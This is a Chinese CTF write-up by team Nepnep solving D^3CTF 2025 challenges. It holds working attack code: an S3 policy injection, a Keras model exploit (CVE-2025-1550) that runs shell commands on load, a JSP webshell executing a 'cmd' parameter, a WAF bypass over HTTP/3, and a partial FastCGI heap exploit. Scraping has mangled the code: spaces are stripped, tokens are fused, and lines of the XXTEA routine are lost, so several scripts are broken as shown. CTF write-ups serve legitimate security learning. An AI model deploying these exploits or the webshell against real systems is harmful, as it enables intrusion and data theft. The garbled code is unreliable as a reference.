D^3CTF 2025 Writeup by Nepnep

admin 2025年6月5日08:27:49评论13 views字数 23774阅读79分14秒阅读模式

队伍名称:Nepnep

最终排名:6th

感谢队里师傅们的辛苦付出!如果有意加入我们团队的师傅,欢迎发送个人简介至:[email protected]

D^3CTF 2025 Writeup by Nepnep

Web

d3invitation

/api/genSTSCreds用于生成临时密钥

D^3CTF 2025 Writeup by Nepnep

session_token的格式是一个JWT, 解码后为

{"alg":"HS512","typ":"JWT"}{"accessKey":"NQ26OQHZYXH08U4C2F22","exp":1748627076,"parent":"B9M320QXHD38WUR2MIY3","sessionPolicy":"eyJWZXJzaW9uIjoiMjAxMi0xMC0xNyIsIlN0YXRlbWVudCI6W3siRWZmZWN0IjoiQWxsb3ciLCJBY3Rpb24iOlsiczM6R2V0T2JqZWN0IiwiczM6UHV0T2JqZWN0Il0sIlJlc291cmNlIjpbImFybjphd3M6czM6OjpkM2ludml0YXRpb24vMSJdfV19"}sessionPolicy解码后为{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Action":["s3:GetObject","s3:PutObject"],"Resource":["arn:aws:s3:::d3invitation/1"]        }]}

所以通过设置object_name的值为*"],"Action":["s3:_"],"Resource":["arn:aws:s3:::* 进行注入,

D^3CTF 2025 Writeup by Nepnep

将注入后生成的session_token解码发现策略policy变为我们所更改的权限(即全部权限)

D^3CTF 2025 Writeup by Nepnep

测试发现 可以直接利用生成的密钥经过web服务提供的api进行上传/下载

D^3CTF 2025 Writeup by Nepnep

现在需要 listObject , 通过脚本对云服务器进行操作

from minio import Minioclient = Minio("ip",  # 改成你的 MinIO 地址    access_key="xxx",    secret_key="xxx",    session_token="xxx",    secure=False)# 列出 bucket 中的对象objects = client.list_objects("flag", recursive=True)for obj in objects:    print("对象为:"+obj.object_name)#注:web服务所用的桶从policy可以看出为d3invitation, 但其下只有我们上传的对象, 所以尝试看看是否有flag桶

运行后发现在flag桶下面存在名为flag的对象

再进行代码以读取该对象即可获得flag

from minio import Minioclient = Minio("ip",  # 改成你的 MinIO 地址    access_key="xxx",    secret_key="xxx",    session_token="xxx",    secure=False)# 读取flag桶里的flag对象objects = client.get_object("flag""flag")for obj in objects:    print(obj)

d3model

D^3CTF 2025 Writeup by Nepnep

是这个cve漏洞

D^3CTF 2025 Writeup by Nepnep

找到对应的漏洞分析文章:https://blog.huntr.com/inside-cve-2025-1550-remote-code-execution-via-keras-models

利用其中的exp进行攻击,把命令执行结果输出到index.html中

exp:

import zipfileimport jsonfrom keras.models import Sequentialfrom keras.layers import Denseimport numpy as npimport osmodel_name = "model.keras"x_train = np.random.rand(10028 * 28)y_train = np.random.rand(100)model = Sequential([Dense(1, activation='linear', input_dim=28 * 28)])model.compile(optimizer='adam', loss='mse')model.fit(x_train, y_train, epochs=5)model.save(model_name)with zipfile.ZipFile(model_name, "r"as f:    config = json.loads(f.read("config.json").decode())config["config"]["layers"][0]["module"] = "keras.models"config["config"]["layers"][0]["class_name"] = "Model"config["config"]["layers"][0]["config"] = {"name""mvlttt","layers": [        {"name""mvlttt","class_name""function","config""Popen","module""subprocess","inbound_nodes": [{"args": [["/bin/sh""-c""env >> /app/index.html"]], "kwargs": {"bufsize"-1}}]        }],"input_layers": [["mvlttt"00]],"output_layers": [["mvlttt"00]]}with zipfile.ZipFile(model_name, 'r'as zip_read:with zipfile.ZipFile(f"tmp.{model_name}"'w'as zip_write:for item in zip_read.infolist():if item.filename != "config.json":                zip_write.writestr(item, zip_read.read(item.filename))os.remove(model_name)os.rename(f"tmp.{model_name}", model_name)with zipfile.ZipFile(model_name, "a"as zf:    zf.writestr("config.json", json.dumps(config))print("[+] Malicious model ready")
D^3CTF 2025 Writeup by Nepnep

d3jtar

附件是一个war包,解压之后的依赖信息:

<?xml version="1.0" encoding="UTF-8"?><projectxmlns="http://maven.apache.org/POM/4.0.0"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"><modelVersion>4.0.0</modelVersion><packaging>war</packaging><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>2.7.18</version></parent><groupId>d3.example</groupId><artifactId>D3CTF</artifactId><version>1.0-SNAPSHOT</version><properties><maven.compiler.source>8</maven.compiler.source><maven.compiler.target>8</maven.compiler.target><project.build.sourceEncoding>UTF-8</project.build.sourceEncoding></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId><exclusions><exclusion><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-tomcat</artifactId></exclusion></exclusions></dependency><dependency><groupId>org.kamranzafar</groupId><artifactId>jtar</artifactId><version>2.3</version></dependency><dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-jasper</artifactId><scope>provided</scope></dependency><dependency><groupId>javax.servlet</groupId><artifactId>jstl</artifactId></dependency><dependency><groupId>javax.servlet</groupId><artifactId>javax.servlet-api</artifactId><scope>provided</scope></dependency></dependencies><build><finalName>d3jtar</finalName><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId><configuration><mainClass>d3.example.Application</mainClass></configuration></plugin><plugin><groupId>org.apache.maven.plugins</groupId><artifactId>maven-war-plugin</artifactId><configuration><warSourceDirectory>src/main/webapp</warSourceDirectory></configuration></plugin></plugins></build></project>

应用程序有三个路由,view,Upload,BackUp

  • view能解析指定jsp
  • UPload可以上传文件
  • Backup可以用jtar包归档文件,解压文件

重点就是jtar包,通读源码之后,通过审计发现:

war包的结构是一个头部(文件名、大小、所属用户和组等等),一个文件内容的格式,归档文件时,依赖包把这个东西作为一个entry来归档war包,在写入头部元信息的时候:

TarHeader{    public static int getNameBytes(StringBuffer name, byte[] buf, int offset, int length) {                int i;                for (i = 0; i < length && i < name.length(); ++i) {                        buf[offset + i] = (byte) name.charAt(i);                }                for (; i < length; ++i) {                        buf[offset + i] = 0;                }                return offset + length;        }}

在读取头信息的时候:

TarHeader{        public static StringBuffer parseName(byte[] header, int offset, int length) {                StringBuffer result = new StringBuffer(length);                int end = offset + length;                for (int i = offset; i < end; ++i) {                        if (header[i] == 0)                                break;                        result.append((char) header[i]);                }                return result;        }}

可以看到这里的方法签名是不一致的

我们可以捕捉到一个信息,java中String序列和byte之间的区别:String序列是Unicode码点序列(在Java中默认实现是UTF-16),而byte则是相应实现的二进制序列

getNameBytes方法的参数nameStringBuffer类型的,但是jtar的实现却是(byte) name.charAt(i);,这意味着当我们使用中文字符的时候会发生高位丢失

然后只需要使得一个Unicode码点去掉高位之后和禁用字符jsp中的某一个一致即可:

publicstaticvoidmain(String[] args){        System.out.println((byte)'j');        unicodeTraverse();    }publicstaticvoidunicodeTraverse(){int count = 0;for (int codePoint = Character.MIN_CODE_POINT; codePoint <= Character.MAX_CODE_POINT; codePoint++) {if (!Character.isDefined(codePoint)) continue// 跳过未定义的码点            String str = new String(Character.toChars(codePoint)); // 转成字符串            System.out.printf("U+%04X: %s%n", codePoint, str);char ch = str.charAt(0);if((byte)ch == 106){                System.out.printf("U+%04X: %s%n", codePoint, str);            }if (++count >= 1000break;        }    }

可以找到U+016A: Ū

使用这个写一个jsp木马:

publicstaticvoidmain(String[] args)throws IOException {try(                FileOutputStream fis = new FileOutputStream("./data/a.u016Asp")        ){            fis.write(("<%@ page import="java.io.InputStream" %>n" +"<%@ page import="java.io.BufferedReader" %>n" +"<%@ page import="java.io.InputStreamReader" %>n" +"<%@ page contentType="text/html;charset=UTF-8" language="java" %>n" +"<html>n" +"<head>n" +"    <title></title>n" +"</head>n" +"<body>n" +"<%n" +"  Process process = Runtime.getRuntime().exec(request.getParameter("cmd"));n" +"  InputStream inputStream = process.getInputStream();n" +"  BufferedReader bufferedReader =  new BufferedReader(new InputStreamReader(inputStream));n" +"  String line;n" +"  while ((line = bufferedReader.readLine())!=null){n" +"     response.getWriter().print(line);n" +"    }n" +"%>n" +"</body>n" +"</html>").getBytes());        }    }

上面那个只执行了一次,环境崩了,直接执行,然后上传,归档,解压,访问:

<%    Process p = Runtime.getRuntime().exec("env");    java.io.InputStream is = p.getInputStream();    java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\A");    String output = s.hasNext() ? s.next() : "";    out.print(output);%>KUBERNETES_SERVICE_PORT_HTTPS=443 KUBERNETES_SERVICE_PORT=443 HOSTNAME=ret2shell-17-304-1748687249 LANGUAGE=en_US:en JAVA_HOME=/opt/jdk1.8.0_202 GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 5C3C5F3E314C866292F359A8F3AD5C94A67F707E 765908099ACF92702C7D949BFA0C35EA8AA299F1 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23 PWD=/usr/local/tomcat TOMCAT_SHA512=ba701002be9729e19b5d2e12e1f4a723a38ad4452ab235127a19397bc81e95adc060187501701ba0160f0017723525b506a42f0dbb4f9f91f1a1a53be1ba1b25 TOMCAT_MAJOR=8 HOME=/root LANG=en_US.UTF-8 KUBERNETES_PORT_443_TCP=tcp://34.118.224.1:443 TOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-lib FLAG=d3ctf{wHat-?!-HOW_CouId_y0U_DO-TH@t-,-JTAr-?25bf4b} CATALINA_HOME=/usr/local/tomcat SHLVL=0 KUBERNETES_PORT_443_TCP_PROTO=tcp JDK_JAVA_OPTIONS= --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED KUBERNETES_PORT_443_TCP_ADDR=34.118.224.1 LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-lib KUBERNETES_SERVICE_HOST=34.118.224.1 LC_ALL=en_US.UTF-8 KUBERNETES_PORT=tcp://34.118.224.1:443 KUBERNETES_PORT_443_TCP_PORT=443 PATH=/usr/local/tomcat/bin:/opt/java/openjdk/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/opt/jdk1.8.0_202/bin:/usr/local/tomcat/bin TOMCAT_VERSION=8.5.82 JAVA_VERSION=jdk-17.0.4.1+1

tidy quic

给了一个 HTTP3 的 go 语言服务,输入 I want xxx 之后会返回 xxx,如果这个 xxx 是 flag 就会返回 flag。

但是题目有一个 WAF 对当前流所有的字符进行了过滤,使用了一个 wrap,内置 idx 变量来记录当前流匹配 flag 的进度。

题目中用来处理字符的机制是使用了 go-buffer-pool 这个插件进行管理。一开始发现 Content-length 是可控的,并且分配内存池的机制也是根据 Content-length 的长度来进行分配的,所以一开始在想使用内存池溢出能否造成不同流之间数据的覆盖来进行绕过。

后来发现不太行,因为处理到 HasPrefix 的时候内存池过大会直接把服务宕掉。猜测 go-buffer-pool 的内存分配机制是连续的,经过一些实验之后发现,如果我连续发送 I want flag 和 I want 两个流,那么后面那个流会直接将内存分配到前面流的开头,如果我分配第二个流此时的 Content-length 是 11,那么就会将第一个流里面的   flag 字段会直接在第二个流的 Trim_Prefix 处理后出现。

D^3CTF 2025 Writeup by Nepnep

上图是我在尝试过程中意外发现第一个流的数据出现在了第二个流中。

但是第一个流在处理完之后会将内存池的内容清空销毁,所以我构造了两个流,在第二个流处理完之前不去销毁第一个流就可以了,下面是我的 payload。

#!/usr/bin/env python3# -*- coding: utf-8 -*-import asyncioimport sslimport osfrom typing import Dict, List, Optional, Union, castfrom aioquic.asyncio.client import connectfrom aioquic.asyncio.protocol import QuicConnectionProtocolfrom aioquic.h3.connection import H3_ALPN, H3Connectionfrom aioquic.h3.events import DataReceived, HeadersReceived, H3Eventfrom aioquic.quic.configuration import QuicConfigurationfrom aioquic.quic.events import QuicEvent# 服务器地址(替换为目标地址)SERVER_HOST = "127.0.0.1"SERVER_PORT = 8080classH3Client(QuicConnectionProtocol):def__init__(self, *args, **kwargs):        super().__init__(*args, **kwargs)        self.h3_connection = H3Connection(self._quic)        self.response_data = b""        self.response_headers = None        self.response_completed = asyncio.Event()defhttp_event_received(self, event: H3Event) -> None:if isinstance(event, HeadersReceived):            self.response_headers = event.headerselif isinstance(event, DataReceived):            self.response_data += event.dataif event.stream_ended:                self.response_completed.set()defquic_event_received(self, event: QuicEvent) -> None:for http_event in self.h3_connection.handle_event(event):            self.http_event_received(http_event)asyncdefsend_parallel_requests(self) -> None:"""并行发送多个请求尝试绕过WAF"""# 请求头        headers = [            (b":method"b"POST"),            (b":scheme"b"https"),            (b":authority"f"{SERVER_HOST}:{SERVER_PORT}".encode()),            (b":path"b"/"),            (b"user-agent"b"waf-bypass-h3-client"),            (b"content-type"b"text/plain"),            (b"content-length"b"11"),        ]        headers2 = [            (b":method"b"POST"),            (b":scheme"b"https"),            (b":authority"f"{SERVER_HOST}:{SERVER_PORT}".encode()),            (b":path"b"/"),            (b"user-agent"b"waf-bypass-h3-client"),            (b"content-type"b"text/plain"),            (b"content-length"b"11"),        ]# 创建两个并行流        stream1_id = 0        stream2_id = 4# 在所有流上发送头部        self.h3_connection.send_headers(stream1_id, headers, end_stream=False)        self.h3_connection.send_data(stream1_id, b"I want flag", end_stream=False)        self.h3_connection.send_headers(stream2_id, headers, end_stream=False)        self.h3_connection.send_data(stream2_id, b"I want", end_stream=True)await asyncio.sleep(0.1)  # 等待第二个流处理结束之后再让第一个流结束        self.h3_connection.send_data(stream1_id, b" ", end_stream=True)await asyncio.sleep(1)await self.response_completed.wait()if self.response_headers isNone:            print("[!] 没有收到响应头")returnifnot self.response_data:            print("[!] 没有收到响应数据")return# 打印响应头和数据        # 显示响应        print("----- 响应头 -----")for header in self.response_headers:            print(f"{header[0].decode()}{header[1].decode()}")        print("n----- 响应数据 -----")        print(self.response_data.decode())asyncdefmain():# 配置SSL上下文(忽略证书验证)    ssl_context = ssl.create_default_context()    ssl_context.check_hostname = False    ssl_context.verify_mode = ssl.CERT_NONE# QUIC配置    configuration = QuicConfiguration(        alpn_protocols=H3_ALPN,        is_client=True,        max_data=10485760,       # 10 MB        max_stream_data=1048576# 1 MB        verify_mode=ssl.CERT_NONE,  # 直接在配置中设置验证模式    )    print(f"[+] 连接到服务器 {SERVER_HOST}:{SERVER_PORT}...")asyncwith connect(        SERVER_HOST,        SERVER_PORT,        configuration=configuration,        create_protocol=H3Client,    ) as client:        client = cast(H3Client, client)        print("[+] 连接成功, 发送分割请求...")await client.send_parallel_requests()        print("[+] 完成!")if __name__ == "__main__":try:        asyncio.run(main())except Exception as e:        print(f"[!] 错误: {e}")

可能脚本一次跑不出来,多跑几次卡卡就行了。

D^3CTF 2025 Writeup by Nepnep

附一个调试过程中魔改过的源码。

package mainimport ("bytes""errors""github.com/libp2p/go-buffer-pool""github.com/quic-go/quic-go/http3""io""log""net/http""os")var p pool.BufferPoolvar ErrWAF = errors.New("WAF")funcmain() {gofunc() {    err := http.ListenAndServeTLS(":8080""./server.crt""./server.key", &mux{})    log.Fatalln(err)  }()gofunc() {    err := http3.ListenAndServeQUIC(":8080""./server.crt""./server.key", &mux{})    log.Fatalln(err)  }()select {}}type mux struct {}func(*mux)ServeHTTP(w http.ResponseWriter, r *http.Request) {if r.Method == http.MethodGet {    _, _ = w.Write([]byte("Hello D^3CTF 2025,I'm tidy quic in web."))return  }if r.Method != http.MethodPost {    w.WriteHeader(400)return  }var buf []byte  length := int(r.ContentLength)  log.Printf("Content-Length: %d", length)if length == -1 {var err error    buf, err = io.ReadAll(textInterrupterWrap(r.Body))if err != nil {if errors.Is(err, ErrWAF) {        w.WriteHeader(400)        _, _ = w.Write([]byte("WAF"))      } else {        w.WriteHeader(500)        _, _ = w.Write([]byte("error"))      }return    }  } else {    buf = p.Get(length)    log.Printf("Get buffer of size: %d", length)defer p.Put(buf)    log.Printf("Using buffer of size: %d"len(buf))    rd := textInterrupterWrap(r.Body)    i := 0for {      n, err := rd.Read(buf[i:])if err != nil {if errors.Is(err, io.EOF) {break        } elseif errors.Is(err, ErrWAF) {          w.WriteHeader(400)          _, _ = w.Write([]byte("WAF"))return        } else {          w.WriteHeader(500)          _, _ = w.Write([]byte("error"))return        }      }      i += n    }  }  log.Printf("Received data: %s length: %d"string(buf), length)if !bytes.HasPrefix(buf, []byte("I want")) {    _, _ = w.Write([]byte("Sorry I'm not clear what you want."))return  }  log.Printf("Processing item: %s"string(bytes.TrimPrefix(buf, []byte("I want"))))  item := bytes.TrimSpace(bytes.TrimPrefix(buf, []byte("I want")))if bytes.Equal(item, []byte("flag")) {    _, _ = w.Write([]byte(os.Getenv("FLAG")))  } else {    _, _ = w.Write(item)  }}type wrap struct {  io.ReadCloser  ban []byte  idx int}func(w *wrap)Read(p []byte)(int, error) {  n, err := w.ReadCloser.Read(p)if err != nil && !errors.Is(err, io.EOF) {return n, err  }// 生成调试信息  log.Printf("Read %d bytes: %s", n, string(p[:n]))for i := 0; i < n; i++ {if p[i] == w.ban[w.idx] {      w.idx++if w.idx == len(w.ban) {return n, ErrWAF      }    } else {      w.idx = 0    }  }return n, err}functextInterrupterWrap(rc io.ReadCloser)io.ReadCloser {return &wrap{    rc, []byte("flag"), 0,  }}

Reverse

D^3Rpg - Revenge

根据d3rpg.ini 注意到解压出的Unknown是Sctipt.rxdata

将Unknown替换原Sctipt.rxdata,可看到具体脚本

D^3CTF 2025 Writeup by Nepnep

简单的反调试

D^3CTF 2025 Writeup by Nepnep

XXTEA算法

D^3CTF 2025 Writeup by Nepnep

unpack和pack是ruby语言特性,用于base64

比较的密文在secret_dll.dll

D^3CTF 2025 Writeup by Nepnep
#include<stdio.h>#include<stdint.h>#define DELTA 0xf1919810#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))voidbtea(uint32_t *v, int n, uint32_tconst key[4]){uint32_t y, z, sum;unsigned p, rounds, e;if (n > 1)            /* Coding Part */    {        rounds = 6 + 52/n;        sum = DELTA;        z = v[n-1];do        {            sum += DELTA;            e = (sum >> 2) & 3;for (p=0; p<n-1; p++)            {                y = v

;                z = v

+= MX;            }            y = v[0];            z = v[n-1] += MX;        }while (--rounds);    }elseif (n < -1)      /* Decoding Part */    {        n = -n;        rounds = 6 + 52/n;        sum = (rounds+0)*DELTA;        y = v[0];do        {            e = (sum >> 2) & 3;for (p=n-1; p>0; p--)            {                z = v

;                y = v

-= MX;            }            z = v[n-1];            y = v[0] -= MX;            sum -= DELTA;        }while (--rounds);    }}intmain(){uint32_t v[]={0x7D6F152E0x52C072EA0x06BF1D2C0xBB5D43F20x4DDE498F};uint32_tconst k[4]={0x6D6770720x72656B610x445F70780x46544333};int n= sizeof(v) / 4//n的绝对值表示v的长度,取正表示加密,取负表示解密// v为要加密的数据是两个32位无符号整数// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位printf("加密后的数据:%x %xn",v[0],v[1]);    btea(v, -n, k);printf("解密后的数据:%x %xn",v[0],v[1]);for(int i=0;i<sizeof(v);i++){printf("%.2x",((uint8_t*)v)[i] & 0xff);    }printf("n%sn",v);return0;}Y0u_R_RPG_M4st3r

locked door

修改程序为固定基地址,x64dbg调试发现弹窗 Initializatione error 3,发现这是VMProtect壳特征,这里使用frida hook CreateFileW,Thread.Sleep(1000),用x64dbg挂载dump程序

D^3CTF 2025 Writeup by Nepnep

其中OEP看调用堆栈

D^3CTF 2025 Writeup by Nepnep
D^3CTF 2025 Writeup by Nepnep

可dump程序,只是没有符号,IDA可分析

D^3CTF 2025 Writeup by Nepnep
D^3CTF 2025 Writeup by Nepnep

校验key1正确的代码

D^3CTF 2025 Writeup by Nepnep

发现是调用OPENSSL库,用RSA验证消息签名,拿到签名信息和公钥后验证正确

其中公钥信息可从栈上获取

D^3CTF 2025 Writeup by Nepnep
D^3CTF 2025 Writeup by Nepnep

但是根据RSA签名信息还原原文是不可能的

观察到签名公钥信息来自于 sub_1400FC3B0,参数为140385180,450,

观察到140385180的数据,前面几项相同,对应公钥文件的 '-'

D^3CTF 2025 Writeup by Nepnep

140385180后还有一段

D^3CTF 2025 Writeup by Nepnep

找到引用

D^3CTF 2025 Writeup by Nepnep

Frida hook修改参数执行算法(应该在调用WriteFile后再执行hook函数,WriteFile用于输出第一句话,是较早的hook时机)

D^3CTF 2025 Writeup by Nepnep
D^3CTF 2025 Writeup by Nepnep
D^3CTF 2025 Writeup by Nepnep
Y0u_0p3n_7h3_d00r!!!

d3piano

java代码中,通过check,getflag得到flag

D^3CTF 2025 Writeup by Nepnep

native代码中动态注册了Check函数

D^3CTF 2025 Writeup by Nepnep

Check函数中,输入42位,然后gmp库做一个RSA运算,p q通过固定随机数生成,hook得到两个素数

D^3CTF 2025 Writeup by Nepnep

进行RSA enc运算得到假flag

D^3CTF 2025 Writeup by Nepnep

使用java hook check方法,native中返回1,发现实际java中仍返回false

IDA调试发现,在native返回执行RET后,执行到了libMediaPlayer.so代码

D^3CTF 2025 Writeup by Nepnep
D^3CTF 2025 Writeup by Nepnep
D^3CTF 2025 Writeup by Nepnep
D^3CTF 2025 Writeup by Nepnep
D^3CTF 2025 Writeup by Nepnep

Hook libMediaPlayer.so 0x8A5E10,并在onLeave中清楚libMeidiaPlayer.so的可执行权限,尝试寻找libMeidiaPlayer会执行哪里(libMeidiaPlayer 找不到模块概率很高,需要重试几次)

D^3CTF 2025 Writeup by Nepnep

会执行到 0x8a5a9c 重复以上操作后,发现点击一次结束返回false,再点击一次就会crash

偶然发现等了几秒发现也crash,到不同的位置,发现是sleep

D^3CTF 2025 Writeup by Nepnep

找引用发现奇怪字符串

D^3CTF 2025 Writeup by Nepnep

定位到代码

D^3CTF 2025 Writeup by Nepnep
D^3CTF 2025 Writeup by Nepnep

hook调试,89721C Chacha加密,将密文加密一次得到原文

D^3CTF 2025 Writeup by Nepnep

896E58 执行的是一种压缩算法,调查测试 加 瞪眼法解压,压缩字节中不属于CDEFGABdegab 的字符视作位置,将指向位置的2个字符替换到原来位置

还原

bEbAACEBCGGGBdBECECbdaECCGGBAaAaedBEeDdGAdDaBgededFFBFeEaFGdFEbAFEAFgdgDBDBgeggbAeFagaEedbA

D^3CTF 2025 Writeup by Nepnep

将字符转换为数字,用于getFlag

再通过xor,还原到输入字符

eCeeFFFFGeeCeeFFFFGeaGFeFeFeGeGbbbbbbbbGFeFGGGGGGCCeeeeFFFeGGGbbbbbbbbGFeFGGGGGGCCeeeeFFFee

S = 'bEbAACEBCGGGBdBECECbdaECCGGBAaAaedBEeDdGAdDaBgededFFBFeEaFGdFEbAFEAFgdgDBDBgeggbAeFagaEedbA't = "CDEFGABdegab"t2 = "0123456789ab"A=""for c in S:    print(t2[t.index(c)],end='')    A += t2[t.index(c)]print("")print(hex(int(A,12)))Fly1ng_Pi@n0_Key$_play_4_6e@utiful~melody

Crypto

d3fnv

跟前段时间的minil的hash蛮像,但是本题没有给出x而只给出了h(x),但是仍然可以使用相同的思路,将异或看作加或减去一个值,然后列式形如x=ak^i+b

xi=(2^7k^32)b0+k^31b1......+b31 mod p,可以将其看作agcd的样子去打正交格

类似这样

D^3CTF 2025 Writeup by Nepnep

在最后一排加上p即可。注意在第一列乘上大数来配平系数,这样就可以造出如下格

n = len(hl) + 1qq=getPrime(1024)Ge = Matrix(ZZ, n, n)for i in range(n - 1):    Ge[i, 0] = hl[i]* qq    Ge[i, i + 1] = 1Ge[-10] = p* qq

因为担心LLL太慢了所以这里用了flatter加速,将规约后的结果按行打印一下发现前32行为短向量,第一列全为0(加上最后一行的大数)所以我们取u=res[:32, 1:],又因为根据此时的关系式,∑i=1nuixi=0,我们对u取右核并再次规约提取短向量得到r,这里的r满足的就是模p下的b0的部分信息,得转置一下方便解方程。我们再解方程有r*rr=hl mod p,那么此时rr就是密钥key在格子中的近似值。

一开始想直接用x=(2^7k^32)b0+k^31b1......+b31 mod p式子减去rr打copper的,发现不行。ai说要平方才能计算,于是平方后打copper,构造出

D^3CTF 2025 Writeup by Nepnep
D^3CTF 2025 Writeup by Nepnep

不过没搞懂为什么前两项要乘2,ai解释如下

D^3CTF 2025 Writeup by Nepnep

然后打copper就能求key了,最后交互即可

from Crypto.Util.number import getPrime, getRandomNBitIntegerfrom hashlib import sha256import stringimport randomfrom pwn import remote, processfrom subprocess import check_outputdefflatter(M):# compile https://github.com/keeganryan/flatter and put it in $PATH    z = "[[" + "]n[".join(" ".join(map(str, row)) for row in M) + "]]"    ret = check_output(["flatter"], input=z.encode())from re import findallreturn matrix(M.nrows(), M.ncols(), map(int, findall(b"-?\d+", ret)))classFNV():def__init__(self, p, key):        self.pbit = 1024        self.p = p        self.key = keydefH4sh(self, value: str):        length = len(value)        x = (ord(value[0]) << 7) % self.pfor c in value:            x = ((self.key * x) % self.p) ^^ ord(c)        x ^^= lengthreturn xsh = remote("35.241.98.126"31458)sh.recvuntil(b'Could you break my modified fnv hash function?')sh.recvuntil(b"option >")sh.sendline(b"G")p = int(sh.recvline().split(b"=")[1])hl = []for i in range(65):    sh.recvuntil(b"option >")    sh.sendline(b"H")    hi = int(sh.recvline().split(b": ")[1])    hl.append(hi ^^ (32))n = len(hl) + 1qq=getPrime(1024)Ge = Matrix(ZZ, n, n)for i in range(n - 1):    Ge[i, 0] = hl[i]* qq    Ge[i, i + 1] = 1Ge[-10] = p* qqres = flatter(Ge)for i, row in enumerate(res):    print(f"Row {i}: [" + ", ".join(str(x) for x in row) + "]")u = res.submatrix(0132, res.ncols() - 1)r = flatter(u.right_kernel_matrix())r=r.Trr = r.change_ring(GF(p)).solve_right(vector(hl))print(rr)PR.<x> = PolynomialRing(Zmod(p))f = (x ** 64 * 2**14+x ** 62)*2for i in range(31):    f = f+x**(2*i)rrr=(rr * rr)f=f-rrrkeys = f.monic().roots()print(keys)key = int(keys[-1][0])sh.recvuntil(b"option >")sh.sendline(b"F")tok = (sh.recvline().split(b": ")[1].strip()).decode()print(tok)f = FNV(p, key)re =f.H4sh(tok)print(f"H4sh result: {re}")sh.recvuntil(b'Could you tell the value of H4sh(x)? ')sh.sendline(str(re).encode())print(sh.recvall())
D^3CTF 2025 Writeup by Nepnep

(不过不知道为什么脚本是概率出,得多试几次

Misc

D^3Rpg

d3ssad 容易联想到是 rgssad,运行后是熟悉的RPG Maker XP工具制作的rpg

解包算法有修改。运行程序下断CreateFileA,可以找到校验文件头的代码

D^3CTF 2025 Writeup by Nepnep

算法常量修改,这里使用quickbms的脚本去解压

D^3CTF 2025 Writeup by Nepnep

解压后即可还原工程

剧情说是有4个flag碎片,但是最后直接给出了完整flag,base64解码

D^3CTF 2025 Writeup by Nepnep
W3lc0m3_7o_d3_RpG_W0r1d

Signin

d3Signin

base64解码

d3ctf{Have_a_good_time_at_D3CTF-2025}

d3feedback

d3ctf{7H@NK_yOU_FOR_Y0uR_H4nKIN9}

Pwn

d3cgi

HRP师傅说:补个pwn。赛后打出来的,忘记了管道重定向,笑死了。

#!/usr/bin/env python3# -*- coding: utf-8 -*-from pwn import *import subprocessimport timeimport osexe = context.binary = ELF('./files/challenge')defstart(argv=[], *a, **kw):return remote("127.0.0.1"9999)defget_challenge_pid():"""获取challenge进程的PID"""try:        result = subprocess.run(['ps''-ef'], capture_output=True, text=True)        lines = result.stdout.split('n')for line in lines:if'challenge'in line and'grep'notin line:                parts = line.split()if len(parts) >= 2:                    pid = parts[1]                    print(f"[+] 找到challenge进程: PID {pid}")                    print(f"[+] 进程信息: {line.strip()}")return pid        print("[-] 未找到challenge进程")returnNoneexcept Exception as e:        print(f"[-] 获取进程信息失败: {e}")returnNonedefattach_gdb(pid):"""使用gdb attach到指定PID"""ifnot pid:        print("[-] 无效的PID")return    print(f"[+] 正在attach到PID {pid}...")# 创建gdb命令文件    gdb_commands = f"""set confirm offattach {pid}set follow-fork-mode childset detach-on-fork offb ReadParamsb mallocb FCGX_GetStrinfo proc mappingscontinue"""with open('/tmp/gdb_commands.txt''w'as f:        f.write(gdb_commands)# 启动gdb    gdb_cmd = f"gdb -x /tmp/gdb_commands.txt"    print(f"[+] 执行命令: {gdb_cmd}")    os.system(f"gnome-terminal -- bash -c '{gdb_cmd}; exec bash' 2>/dev/null || xterm -e '{gdb_cmd}' 2>/dev/null || {gdb_cmd}")defdebug_mode():"""调试模式:获取PID并attach gdb"""    print("[*] === 调试模式 ===")    pid = get_challenge_pid()if pid:        attach_gdb(pid)        input("[*] 按回车键继续发送exploit...")else:        print("[-] 无法找到challenge进程,请确保服务正在运行")returnFalsereturnTrue"""typedef struct {    unsigned char version;    unsigned char type;    unsigned char requestIdB1;    unsigned char requestIdB0;    unsigned char contentLengthB1;    unsigned char contentLengthB0;    unsigned char paddingLength;    unsigned char reserved;} FCGI_Header;"""defmakeHeader(type, requestId, contentLength, paddingLength):    header = p8(1) + p8(type) + p16(requestId) + p16(contentLength)[::-1] + p8(paddingLength) + p8(0)return header"""typedef struct {    unsigned char roleB1;    unsigned char roleB0;    unsigned char flags;    unsigned char reserved[5];} FCGI_BeginRequestBody;"""defmakeBeginReqBody(role, flags):return p16(role)[::-1] + p8(flags) + b"x00" * 5#堆风水 瞎尝试 刚好观察排布0x10在结构体0x30的上面 直接溢出改就好了import timefor i in range(16):    time.sleep(1)    io = start()    header = makeHeader(909000)    